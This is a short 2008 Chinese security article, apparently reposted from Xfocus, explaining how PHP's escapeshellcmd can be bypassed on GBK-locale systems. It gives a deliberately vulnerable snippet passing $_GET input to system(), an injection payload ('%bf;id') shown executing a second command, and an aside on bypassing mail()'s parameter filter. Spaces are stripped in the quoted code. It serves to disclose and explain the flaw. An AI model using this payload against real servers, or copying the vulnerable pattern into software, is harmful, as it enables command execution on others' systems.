php escapeshellcmd多字节编码漏洞解析

http://tech.ddvip.com   2008年05月27日    社区交流

内容摘要:近日安全研究人员在对PHP进行测试中发现,一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受安全威胁,本文做就就相关漏洞解释和一些自己的想法来和用户分享。

  作为例子,正常情况下上面的代码工作很好,我们提交

  exp.php?c=loveshell%bf;id

  结果返回

  loveshell?id

  我们再来稍微改下上面的代码

<?php
putenv("LANG=zh_CN.GBK");
$e=escapeshellcmd($_GET[c]);
//herewedon'tcareif$ehasspaces
system("echo$e");
?>

  php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

  loveshell?uid=99(nobody) gid=4294967295 groups=4294967295

  命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。

  mail函数一些代码片段如下:

   ......
  if(PG(safe_mode)&&(ZEND_NUM_ARGS()==5)){
  php_error_docref(NULLTSRMLS_CC,E_WARNING,"SAFEMODERestrictionineffect.ThefifthparameterisdisabledinSAFEMODE.");
  RETURN_FALSE;
  }
  if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"sss|ss",
  &to,&to_len,
  &subject,&subject_len,
  &message,&message_len,
  &headers,&headers_len,
  &extra_cmd,&extra_cmd_len
  )==FAILURE){
  return;
  }
  ......
  if(force_extra_parameters){
  extra_cmd=estrdup(force_extra_parameters);
  }elseif(extra_cmd){
  extra_cmd=php_escape_shell_cmd(extra_cmd);
  }
  if(php_mail(to_r,subject_r,message,headers,extra_cmdTSRMLS_CC)){
  RETVAL_TRUE;
  }else{
  RETVAL_FALSE;
  }
  .....

来源:Xfocus    作者:T_Torchidy    责编:豆豆技术应用

正在加载评论...